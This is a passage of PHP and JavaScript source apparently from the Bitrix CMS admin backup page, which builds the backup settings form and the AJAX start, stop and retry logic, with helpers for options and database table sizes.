foreach($arAllBucket as $arBucket)
{
?>
if (BX('dump_cloud_<?=$arBucket['ID']?>').checked)
queryString += '&dump_cloud[<?=$arBucket['ID']?>]=Y';
<?
}
}
?>
}
else
queryString += '&dump_all=Y';
queryString += '&<?=bitrix_sessid_get()?>';
BX('dump_result_div').innerHTML='';
AjaxSend('dump.php', queryString);
window.scrollTo(0, 0);
}
function EndDump(conditional)
{
BX('stop_button').disabled = stop = true;
if (!conditional || !counter_started)
BX('start_button').disabled = false;
}
function AjaxSend(url, data)
{
stop = false;
BX('stop_button').disabled=false;
BX('start_button').disabled=true;
StartCounter();
CHttpRequest.Action = function(result)
{
StopCounter(result);
if (stop)
{
EndDump();
BX('dump_result_div').innerHTML = '';
}
else
BX('dump_result_div').innerHTML = result;
};
if (data)
CHttpRequest.Post(url, data);
else
CHttpRequest.Send(url);
}
function RetryRequest()
{
if (ob = BX('retry_button'))
ob.disabled=true;
AjaxSend('?process=Y&<?=bitrix_sessid_get()?>');
}
function getTableSize()
{
AjaxSend('?ajax_mode=Y&action=get_table_size');
}
</script>
<form name="fd1" action="<?echo $APPLICATION->GetCurPage()?>?lang=<?=LANGUAGE_ID?>" method="GET">
<?
$editTab->Begin();
$editTab->BeginNextTab();
if (!COption::GetOptionInt("main", 'dump_auto_enable_auto', 0))
{
?>
<tr>
<td colspan=2><?
echo BeginNote();
echo GetMessage('MAIN_DUMP_AUTO_WARN', array('#LINK#' => '/bitrix/admin/dump_auto.php?lang='.LANGUAGE_ID));
echo EndNote();
?></td>
</tr>
<?
}
if ($bBitrixCloud)
{
?>
<tr>
<td class="adm-detail-valign-top" width="40%"><?=GetMessage('DUMP_MAIN_BITRIX_CLOUD_DESC')?><span class="required"><sup>1</sup></span>:</td>
<td width="60%">
<?
$backup = CBitrixCloudBackup::getInstance();
$arFiles = $backup->listFiles();
$backup->saveToOptions();
CAdminMessage::ShowMessage(array(
"TYPE" => "PROGRESS",
"DETAILS" => GetMessage("BCL_BACKUP_USAGE", array(
"#QUOTA#" => CFile::FormatSize($quota = $backup->getQuota()),
"#USAGE#" => CFile::FormatSize($usage = $backup->getUsage()),
)).'#PROGRESS_BAR#',
"HTML" => false,
"PROGRESS_TOTAL" => $quota,
"PROGRESS_VALUE" => $usage,
));
?>
</td>
</tr>
<?
}
?>
<tr>
<td class="adm-detail-valign-top" width=40%><?=GetMessage('MAIN_DUMP_ARC_LOCATION')?></td>
<td>
<div><input type=radio name=dump_bucket_id value="-1" <?=$bBitrixCloud ? "checked" : ""?> id="bitrixcloud" <?=$bBitrixCloud ? '' : 'disabled'?> onclick="CheckEncrypt(this)"> <label for="bitrixcloud"><?=GetMessage('DUMP_MAIN_IN_THE_BXCLOUD')?></label><?=$strBXError ? ' <span style="color:red">('.$strBXError.')</span>' : ''?></div>
<div><input type=radio name=dump_bucket_id value="0" <?=!$bBitrixCloud ? "checked" : ""?> id="dump_bucket_id_0" onclick="CheckEncrypt(this)"> <label for="dump_bucket_id_0"><?=GetMessage('MAIN_DUMP_LOCAL_DISK')?></label></div>
<?
$arWriteBucket = CBackup::GetBucketList($arFilter = array('READ_ONLY' => 'N'));
if ($arWriteBucket)
{
foreach($arWriteBucket as $f)
echo '<div><input type=radio name=dump_bucket_id value="'.$f['ID'].'" id="dump_bucket_id_'.$f['ID'].'" onclick="CheckEncrypt(this)"> <label for="dump_bucket_id_'.$f['ID'].'">'.GetMessage('DUMP_MAIN_IN_THE_CLOUD').' '.htmlspecialcharsbx($f['BUCKET'].' ('.$f['SERVICE_ID'].')').'</label></div>';
}
?>
</td>
</tr>
<?
$arSitePath = array();
$res = CSite::GetList($by='sort', $order='asc', array('ACTIVE'=>'Y'));
while($f = $res->Fetch())
{
$root = rtrim($f['ABS_DOC_ROOT'],'/');
if (is_dir($root))
$arSitePath[$root] = array($f['ID'] => '['.$f['ID'].'] '.$f['NAME']);
}
if (count($arSitePath) > 1)
{
?>
<tr>
<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_SITE")?><span class="required"><sup>2</sup></span></td>
<td>
<?
if ($s = COption::GetOptionString("main", "dump_site_id", $NS['dump_site_id']))
$dump_site_id = unserialize($s);
else
$dump_site_id = array();
$i = 0;
foreach($arSitePath as $path => $val)
{
$path = rtrim(str_replace('\\','/',$path),'/');
list($k,$v) = each($val);
echo '<div><input type=checkbox id="dump_site_id'.$i.'" value="'.htmlspecialcharsbx($k).'" '.(in_array($k, $dump_site_id) ? ' checked' : '').'> <label for="dump_site_id'.$i.'">'.htmlspecialcharsbx($v).'</label></div>';
$i++;
}
?>
</td>
</tr>
<?
}
?>
<?
$editTab->BeginNextTab();
?>
<tr>
<td colspan=2 align=center><input type="checkbox" name="dump_expert" onclick="CheckExpert()" id="dump_expert"> <label for="dump_expert"><?=GetMessage("DUMP_MAIN_ENABLE_EXPERT")?></label></td>
</tr>
<tr id="tr_dump_expert">
<td colspan=2><?
echo BeginNote();
echo GetMessage("DUMP_MAIN_CHANGE_SETTINGS");
echo EndNote();
?></td>
</tr>
<tr class="heading">
<td colspan="2"><?=GetMessage("DUMP_MAIN_ARC_CONTENTS")?></td>
</tr>
<?
if ($arAllBucket)
{
?>
<tr>
<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_DOWNLOAD_CLOUDS")?></td>
<td>
<?
foreach($arAllBucket as $arBucket)
echo '<div><input type="checkbox" id="dump_cloud_'.$arBucket['ID'].'" OnClick="CheckActiveStart()" '.(IntOption("dump_cloud_".$arBucket['ID'], 1) ? "checked" : "").'> <label for="dump_cloud_'.$arBucket['ID'].'">'.htmlspecialcharsbx($arBucket['BUCKET'].' ('.$arBucket['SERVICE_ID'].')').'</label></div>';
?>
</td>
</tr>
<?
}
?>
<?
if ($DB->type == 'MYSQL')
{
?>
<tr>
<td><?=GetMessage("DUMP_MAIN_ARC_DATABASE")?> <span id="db_size">(<a href="javascript:getTableSize()">?</a> <?=GetMessage("MAIN_DUMP_BASE_SIZE")?>)</span>:</td>
<td><input type="checkbox" name="dump_base" OnClick="CheckActiveStart()" <?=IntOption("dump_base", 1) ? "checked" : "" ?>></td>
</tr>
<tr>
<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_DB_EXCLUDE")?></td>
<td>
<div><input type="checkbox" name="dump_base_skip_stat" <?=IntOption("dump_base_skip_stat", 0) ? "checked" : "" ?> id="dump_base_skip_stat"> <label for="dump_base_skip_stat"><?=GetMessage("MAIN_DUMP_BASE_STAT")?></label> <span id=db_stat_size></span></div>
<div><input type="checkbox" name="dump_base_skip_search" value="Y" <?=IntOption("dump_base_skip_search", 0) ? "checked" : "" ?> id="dump_base_skip_search"> <label for="dump_base_skip_search"><?=GetMessage("MAIN_DUMP_BASE_SINDEX")?></label> <span id=db_search_size></span></div>
<div><input type="checkbox" name="dump_base_skip_log" value="Y"<?=IntOption("dump_base_skip_log", 0) ? "checked" : "" ?> id="dump_base_skip_log"> <label for="dump_base_skip_log"><?=GetMessage("MAIN_DUMP_EVENT_LOG")?></label> <span id=db_event_size></span></div>
</td>
</tr>
<?
}
?>
<tr>
<td><?echo GetMessage("MAIN_DUMP_FILE_KERNEL")?></td>
<td><input type="checkbox" name="dump_file_kernel" value="Y" OnClick="CheckActiveStart()" <?=IntOption("dump_file_kernel", 1) ? "checked" : ''?>></td>
</tr>
<tr>
<td><?echo GetMessage("MAIN_DUMP_FILE_PUBLIC")?></td>
<td><input type="checkbox" name="dump_file_public" value="Y" OnClick="CheckActiveStart()" <?=IntOption("dump_file_public", 1) ? "checked" : ''?>></td>
</tr>
<tr>
<td class="adm-detail-valign-top"><?echo GetMessage("MAIN_DUMP_MASK")?><span class="required"><sup>3</sup></span></td>
<td>
<input type="checkbox" name="skip_mask" value="Y" <?=IntOption('skip_mask', 0)?" checked":'';?> onclick="CheckActiveStart()">
<table id="skip_mask_table" cellspacing=0 cellpadding=0>
<?
$i=-1;
$res = unserialize(COption::GetOptionString("main","skip_mask_array"));
$skip_mask_array = is_array($res)?$res:array();
foreach($skip_mask_array as $mask)
{
$i++;
echo
'<tr><td>
<input type="text" name="arMask[]" id="mnu_FILES_'.$i.'" value="'.htmlspecialcharsbx($mask).'" size=30>'.
'<input type="button" id="mnu_FILES_btn_'.$i.'" value="..." onclick="showMenu(this, \''.$i.'\')">'.
'</tr>';
}
$i++;
?>
<tr><td><input type="text" name="arMask[]" id="mnu_FILES_<?=$i?>" size=30><input type="button" id="mnu_FILES_btn_<?=$i?>" value="..." onclick="showMenu(this, '<?=$i?>')"></tr>
</table>
<input type=button id="more_button" value="<?=GetMessage('MAIN_DUMP_MORE')?>" onclick="AddTableRow()">
</td>
</tr>
<tr>
<td><?echo GetMessage("MAIN_DUMP_FILE_MAX_SIZE")?></td>
<td><input type="text" name="max_file_size" size="10" value="<?=IntOption("dump_max_file_size", 0)?>" <?=CBackup::CheckDumpFiles() ? '' : "disabled"?>>
<?echo GetMessage("MAIN_DUMP_FILE_MAX_SIZE_kb")?></td>
</tr>
<tr>
<td><?echo GetMessage("MAIN_DUMP_SKIP_SYMLINKS")?></td>
<td><input type="checkbox" name="skip_symlinks" value="Y" <?=IntOption("skip_symlinks", 0) ? "checked" : ''?>></td>
</tr>
<tr class="heading">
<td colspan="2"><?=GetMessage("DUMP_MAIN_ARC_MODE")?></td>
</tr>
<tr>
<td><?=GetMessage("MAIN_DUMP_ENABLE_ENC")?><span class="required"><sup>4</sup></td>
<td><input type="checkbox" name="dump_encrypt" value="Y" <?=(IntOption("dump_encrypt", 0) ? "checked" : "")?> <?=$bMcrypt && !$bBitrixCloud ? '' : 'disabled'?>></td>
</tr>
<tr>
<td width=40%><?=GetMessage('INTEGRITY_CHECK_OPTION')?></td>
<td><input type="checkbox" name="dump_integrity_check" <?=IntOption('dump_integrity_check', 1) ? 'checked' : '' ?>>
</tr>
<tr>
<td><?=GetMessage('DISABLE_GZIP')?></td>
<td><input type="checkbox" name="dump_disable_gzip" <?=IntOption('dump_use_compression', 1) && $bGzip ? '' : 'checked' ?> <?=$bGzip ? '' : 'disabled'?>>
</tr>
<tr>
<td width=40%><?=GetMessage('STEP_LIMIT')?></td>
<td>
<input type="text" name="dump_max_exec_time" value="<?=IntOption("dump_max_exec_time", 20)?>" size=2>
<?echo GetMessage("MAIN_DUMP_FILE_STEP_sec");?>,
<?echo GetMessage("MAIN_DUMP_FILE_STEP_SLEEP")?>
<input type="text" name="dump_max_exec_time_sleep" value="<?=IntOption("dump_max_exec_time_sleep", 3)?>" size=2>
<?echo GetMessage("MAIN_DUMP_FILE_STEP_sec");?>
</td>
</tr>
<tr>
<td><?=GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE")?></td>
<td><input type="text" name="dump_archive_size_limit" value="<?=intval(COption::GetOptionString('main', 'dump_archive_size_limit', 100 * 1024 * 1024)) / 1024 / 1024?>" size=4> <?=GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE_VALUES")?><span class="required"><sup>5</sup></span></td>
</tr>
<?
$editTab->Buttons();
?>
<input type="button" id="start_button" class="adm-btn-save" value="<?=GetMessage("MAIN_DUMP_FILE_DUMP_BUTTON")?>" OnClick="StartDump();">
<input type="button" id="stop_button" value="<?=GetMessage("MAIN_DUMP_FILE_STOP_BUTTON")?>" OnClick="EndDump(true)" disabled>
<?
$editTab->End();
?>
</form>
<br>
<?
echo BeginNote();
echo '<div><span class=required><sup>1</sup></span> '.GetMessage("DUMP_MAIN_BXCLOUD_INFO").'</div>';
echo '<div><span class=required><sup>2</sup></span> '.GetMessage("DUMP_MAIN_MULTISITE_INFO").'</div>';
echo '<div><span class=required><sup>3</sup></span> '.GetMessage("MAIN_DUMP_FOOTER_MASK").'</div>';
echo '<div><span class=required><sup>4</sup></span> '.GetMessage("MAIN_DUMP_BXCLOUD_ENC").'</div>';
echo '<div><span class=required><sup>5</sup></span> '.GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE_INFO").'</div>';
echo EndNote();
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_admin.php");
#################################################
################## FUNCTIONS
function IntOption($name, $def = 0)
{
static $CACHE;
if (!$CACHE[$name])
$CACHE[$name] = COption::GetOptionInt("main", $name, $def);
return $CACHE[$name];
}
function getTableSize($reg)
{
global $DB;
if ($DB->type != 'MYSQL')
return 0;
static $CACHE;
if (!$CACHE)
{
$CACHE = array();
$sql = "SHOW TABLE STATUS";
$res = $DB->Query($sql);
while($row = $res->Fetch())
$CACHE[$row['Name']] = $row['Data_length'];
}
$size = 0;
foreach($CACHE as $table => $s)
if (!$reg || preg_match('#'.$reg.'#i', $table))
$size += $s;
return $size;
}
function haveTime()
{
if(defined('NO_TIME'))
return microtime(true) - START_EXEC_TIME < 1;
return microtime(true) - START_EXEC_TIME < IntOption("dump_max_exec_time");
}
function workTime()
{
return microtime(true) - START_EXEC_TIME;
}
function RaiseErrorAndDie($strError, $bRepeat = false)
{
if ($bRepeat)
{
$strError .= '<br><input type=button value="'.GetMessage('DUMP_RETRY').'" onclick="RetryRequest()" id="retry_button">
<script>window.setTimeout(RetryRequest, 60000);</script>';
}
CAdminMessage::ShowMessage(array(
"MESSAGE" => GetMessage("MAIN_DUMP_ERROR"),
"DETAILS" => $strError,
"TYPE" => "ERROR",
"HTML" => true));
echo '<script>EndDump();</script>';
die();
}
?>